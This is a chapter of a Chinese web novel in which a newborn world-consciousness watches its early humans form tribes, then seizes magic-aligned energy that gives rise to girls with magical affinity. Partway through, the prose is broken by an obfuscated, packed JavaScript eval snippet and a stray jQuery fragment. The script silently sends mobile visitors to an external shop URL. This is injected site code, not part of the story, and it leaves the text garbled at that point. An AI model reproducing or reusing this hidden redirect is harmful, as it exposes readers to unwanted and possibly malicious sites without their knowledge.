日子开始变得不一样了。

    自从那个年轻人举起第一根削尖的树枝,我的人类就像被按下了什么开关。他们不再满足于在树底下荡来荡去,开始成群结队地往林外走。平原上、河岸边、山脚下,到处都是他们蹒跚的影子。他们学会了用石头砸开骨头吸骨髓,学会了把兽皮披在身上御寒,学会了在洞口堆一圈石头挡住夜风。

    我趴在面板前看他们的动静,看得津津有味。

    几百年了。从"未开智"到"初步开智",我足足等了三百年。三百年里我什么都不能做,什么都不敢做,只能像个傻子一样飘在自己的世界里干瞪眼。现在他们终于开始动弹了,我怎么可能不看。

    我看他们学会了集体围猎。一群男人——我暂且这么叫他们——举着削尖的木棍,把一头鹿逼到悬崖边。鹿没路可逃了,回头看着他们,眼睛里全是惊恐。领头的那个人举起木棍,狠狠地扎了下去。鹿倒下了,血染红了他的手。他愣了一瞬,然后回头看同伴。所有人都在看他。他举起沾满血的双手,发出了一声嚎叫——"嗷——!"

    所有人跟着嚎。

    我缩了缩脖子。还挺大声。

    但我知道这代表什么。合作,分工,集体行动。这不再是几只猴子在树上互相扔果子了,这是有组织的"团队"。面板上那个"初步开智"虽然没有变化,但我分明感觉到有什么东西在松动。他们在长大,以他们的方式。

    又过了不知多久——我没有数了,时间对我而言已经不像最初那么难熬——我开始看到"部落"的雏形。一群人不再四处游荡,而是固定在某一片区域扎下来。他们搭了窝棚,用树枝和兽皮搭的,歪歪扭扭的,风一吹就晃,但至少能挡雨。他们围着篝火坐,一个接一个地传递食物。老人坐在最中间,孩子们被护在最里头。年轻人坐在外围,手里永远攥着武器。

    分工越来越细。有人专门打猎,有人专门采集,有人专门看孩子,有人专门打磨石器。我看那个最早举起木棍的年轻人——现在他已经老了,头发花白,脸上全是褶子——坐在洞口,手把手地教一个小孩怎么把石头砸出尖角。小孩学得很笨,砸了十几次才砸出个歪歪扭扭的边。老人没骂他,只是把他的头按下去,又示范了一遍。

    "慢慢来。"我忍不住说。他听不见。但我还是说了。

    部落越来越多。一个,两个,三个……后来我数不清了。平原上零零星星地散布着篝火的烟,白天是细细的灰线,晚上是橘红的光点。我的人类从树上下来的那一天起,就再也没有回到树上去。他们踩在我的大地上,一步步走出了自己的路。

    面板上的记录也多了起来:

    "人类文明里程碑:火种保留。"

    "人类文明里程碑:兽皮制衣。"

    "人类文明里程碑:洞穴居所。"

    "人类文明里程碑:部落形成。"

    每跳出一条,我就开心一阵子。虽然我什么都没做——这些全是他们自己搞出来的——但我就是开心。我的世界里有人在活着,在动,在笨手笨脚地往前走。这比什么都强。

    然后饥饿感又来了。

    我低头看面板。"能量储备:低(饥饿)"又亮起了红光。距离上一次吞那口科技侧能量渣,已经过了……我不太确定,但至少几百年。这几百年里我什么都没吃,全靠那一口渣撑着。现在那点能量早消化干净了,我的"胃"又开始发酸发胀。

    "能量潮汐·即将抵达。"面板提前通知了我。

    我精神一振。

    上一次我是真的蠢。什么都不懂,等面板通知"潮汐抵达"的时候才出发。等我赶到中心地带,大块能量早被抢光了,只剩下一点碎渣飘在边缘。我拼了命才捡到一粒指甲盖大的科技侧渣子,还被一只老牌意识顺手扇飞了。

    但这一次不一样了。我有经验了。

    我不知道能量潮汐的精确时间,不像老牌世界意识能提前感知能量潮汐的到来。但面板会提前提醒我——不是"抵达"提醒,是"即将抵达"。那个"即将"到底有多"即将",我不确定,但至少比上一次强。

    这一次,面板一喊"即将",我就出发。

    穿越边界,挤进那片光海。中心地带已经有不少意识了。我不是最早到的——那些老牌意识来得比我早得多,它们早就蹲在最前排的位置上,像一座座沉默的山。红色的、金色的、银色的、漆黑的,大大小小几十只,各自占好了位置。

    但我也不是最晚到的。中心地带还在陆陆续续涌进新的意识,有些和我差不多大,一看就是新生体;有些比我大一圈,但气息不稳,估计也没抢过几次饭。我混在它们中间,在"第二排"找了个位置。

    比上次强。

    我蹲在那里等。左边是一只和我差不多大的青色意识,缩成一团,有点紧张的样子;右边是一只灰扑扑的、像石头的意识,一动不动,不知道是睡着了还是在装死。我夹在中间,缩了缩自己的"身子",尽量不占太多地方。

    前排那些老牌意识之间隔着明显的空档,没人敢挤进去。有两只年轻一点的意识不信邪,往前凑了凑,被一只红色的意识头也不回地甩了一下,直接弹飞了老远。那两只意识灰溜溜地缩回来,躲到后排去了。

    我默默收回了往前的念头。

    时间慢慢流。光海里意识越聚越多,整个中心地带密密麻麻塞满了"人",像一锅快要煮沸的粥。前排是那些不动如山的老怪物,中排是有点经验的中生代,后排是我们这种挤不上去的新生菜鸟。

    然后——

    来了。

    光海深处,那个"口子"猛然裂开。五彩斑斓的能量从虚空中喷涌而出,红的蓝的金的紫的,裹挟在一起,像一条炸开的河流。

    前排的老牌意识同时动了,它们张口就吞,快得像闪电。红色那只一口下去就卷走了最大的一团,金色那只紧接着咬住了第二口,银色水母伸出触手疯狂捞取。能量流被它们撕扯、分割、吞没,速度惊人。

    我扑了上去。中排的位置虽然没有前排那么肥,但也是能抢到东西的。我张嘴对准一股朝我这个方向涌来的能量团,狠狠咬了下去。

    我的嘴合上了。嘴里炸开一股火烫的、翻滚的、拼命挣扎的能量团。我咬住了。我没松口。

    我没来得及咬第二口。一股巨力从侧面撞过来——不是"撞",是"铲",像一把铲子把我整个人铲飞了。我滚了七八圈,嘴里那团能量差点被颠出去,死死含住才没丢。等我稳住身形,回头看去,撞我的是一只比我大两圈的蓝色意识,和我一样是中排的"人"。它看都没看我,已经扑向下一个目标了。

    光海里全是撕咬的声音。能量流飞速减少,前排那些老牌意识快要把最大的几团全吞完了,中排的厮杀最激烈——谁都想多抢一口,谁都在互相挤撞撕扯。我旁边那只青色意识被撞散了三次,好不容易重新聚拢,已经什么也抢不到了,蹲在原地发愣。

    我缩在边缘,含着嘴里那团能量,看着剩下的能量越来越少。

    走。

    我扭头就往边界冲。身后没人追我,但我知道只要我多停一秒,就有可能被某只意识顺手把嘴里的能量抢走。我冲回自己的边界,一个猛子扎进去,瘫在自己的大陆中心,浑身上下——不,没有上下,但那个感觉就是"浑身散架"。

    嘴里那团能量还在。又大又热,在我意识深处翻来滚去。

    我小心翼翼地"咽"下去,然后开始消化。

    这次的能量比上次大得多。像吞了一个拳头——虽然没有胃,但那个感觉就是"胃里被撑满了"。面板开始跳动:

    "能量消化中……属性识别……"

    "属性:魔法侧·基础。"

    "消化进度:1%……22%……56%……"

    我等着。魔法侧。和上次不一样。上次是科技侧,催生了人类;这次是魔法侧,会催生什么?

    等等。

    我突然意识到一个问题。每个世界一般只能匹配一种发展方向。科技侧吞科技侧,魔法侧吞魔法侧。跨属性使用会导致法则冲突、世界崩塌。

    但我的世界——

    我还没有法则。

    我是新生的,刚从蛋壳里爬出来。我的世界里还没有"科技法则"也没有"魔法法则",只有一片空白的大陆和一群刚会走路的人类。面板上"已解锁法则"那一栏,至今还是"无"。

    这意味着什么?

    意味着我现在其实可以"选"。

    如果当初我先抢到的是一口魔法侧能量,我就走魔法侧路线了。但命运让我先抢到了科技侧,我的世界里已经有人类了。现在第二口能量又是魔法侧——如果我把这口能量用掉,我的世界里会同时存在科技侧和魔法侧的"种子"。

    这样会怎么样?

    我不知道。面板上没有写过这种情况。我只知道"非匹配属性强行使用会导致法则冲突、世界崩塌"。但我没有已匹配的属性,我还没做选择。如果用掉这口魔法侧能量,我算不算"强行使用"?

    我纠结了很久。

    能量在我意识深处翻涌着,热乎乎的,像一团暖水。我能感觉到它里面蕴藏的东西——某种和科技侧完全不同的"质地"。科技侧是硬的、凉的、有序的;魔法侧是软的、热的、跳跃的。它们像水和油,泾渭分明。

    但我的世界刚起步。什么都还没有。这个时期,也许可以试一试?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798638|210572||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我咬了咬牙。

    用了。

    我把那口魔法侧能量"注入"了世界。和上次一样,像往水里滴墨。但这一次滴进去的墨,和第一次的墨——没有融合。

    世界深处有什么东西在变。空气里多了一层质地——不一样了,不是科技侧那种"秩序感",而是某种更轻柔、更飘忽的东西。像薄雾,像晨露,像月光洒在草叶上的那股清冷。我把它命名为"魔力因子"。它们飘散在我的世界里,很稀薄,很微量,但确实存在。

    然后我回到面板前,紧张地等待。

    面板沉默了很久。

    没有崩塌。没有法则冲突。没有红色警告。我的世界安安静静地转着,风照常吹,水照常流,人类照常围着篝火打盹。什么坏事都没发生。

    但也好像没什么变化。

    我困惑地趴在自己的世界里,看着那些人。他们还是老样子,打猎、采集、烤火、睡觉。没有人喷出火球,没有人召唤闪电,没有人飞起来。那口魔法侧能量像是石沉大海,悄无声息。

    我开始怀疑自己是不是白用了。

    直到那天黄昏。

    平原上最大的那个部落里,一群人围着篝火坐。白天打猎收获不错,他们宰了一头野牛,肉烤得滋滋冒油。孩子们在火堆旁边追着跑,一个大概七八岁的小女孩跑着跑着突然绊了一跤,摔在火堆边上。火舌舔过来,离她的头发只有一掌宽。

    旁边的大人吓得伸手去拉。但来不及了。

    然后那个小女孩抬起了手。

    她什么都没做。只是抬起了手,手心朝着火堆。火苗——那簇原本要舔到她头发的火苗——突然顿住了。像被什么看不见的东西摁住了头,火苗缩了缩,然后往旁边歪了歪,绕开了她的脑袋。

    所有人愣住了。

    小女孩自己也愣住了。她低头看了看自己的手,手心干干净净,什么也没有。她茫然地转过头,看着旁边那个吓得脸色发白的大人,用不太利索的话问:"……火……不烧我?"

    没人答得上来。

    我趴在面板前,瞪圆了眼睛——没有眼睛,但那个感觉就是"瞪圆了"。

    面板弹出一行字:

    "新进化分支诞生:巫女。"

    "特征:微弱的魔力亲和。可感应、引导特定元素。"

    我盯着那行字,脑子里嗡的一声。

    巫女。

    我的人类里,出现了能"触碰"魔力的人。那种能力还很弱,弱到只能让火苗偏一偏方向,弱到可能连她们自己都意识不到自己做了什么。但她们确实存在了。

    第二天,那个部落里又有一个女孩发现,她能"知道"天气。她坐在洞口,看着远处连绵的山脉,突然说:"明天会下雨。"别人不信。第二天下了。

    另一个女孩在河边洗手时,手边的水聚成了一个圆球,在她掌心里滚了滚,然后散开了。她吓得把手缩回来,水球啪地落回河里,什么也没留下。

    这样的事情越来越多。每个部落里,每隔一段时间,就会出现一两个这样的女孩。她们不是最强壮的,不是最能打的,但她们身上有一种说不清的东西。她们能"感觉"到别人感觉不到的东西。火对她们温柔,水对她们亲近,风会绕过她们的脸。

    部落里开始有人怕她们。也有人崇拜她们。

    那些说话支支吾吾、表达不清的族人,用最原始的方式给她们起了名字。他们管她们叫"巫"——意思是"与‘不可见之物’对话的人"。我听到这个称呼的时候差点笑出声。

    不可见之物。

    如果她们知道自己触碰的是"世界意识用抢来的魔法侧能量催生出来的魔力因子",大概会当场昏过去。

    但她们不知道

    我看着那些被叫做"巫"的女孩们,站在部落中央,被族人围在中间。老人们在她们头上撒灰,年轻人在她们脚下放猎物。她们不知所措地站在那里,手里攥着自己微弱的、几乎感觉不到的力量,不知道接下来会发生什么。

    我也不知道。

    我的世界里,科技侧和魔法侧的能量共存了。人类分出了两个分支:普通人和巫女。

    但这两样东西会不会打架?会不会有一天突然炸开?

    我趴在面板前,看着那群手足无措的巫女,又看了看平原上那些还在用石器砸坚果的普通人。

    "……不管了,"我对自己说,"明天再说。"

    我合上面板,缩回去躺着。风从大陆东边吹到西边,我的"皮肤"上,人类围着篝火睡着了。火光照着他们的脸,也照着那些坐在角落里的、手心发烫的、做了一夜奇怪梦的少女们。

    我的世界在长大。

    第二章完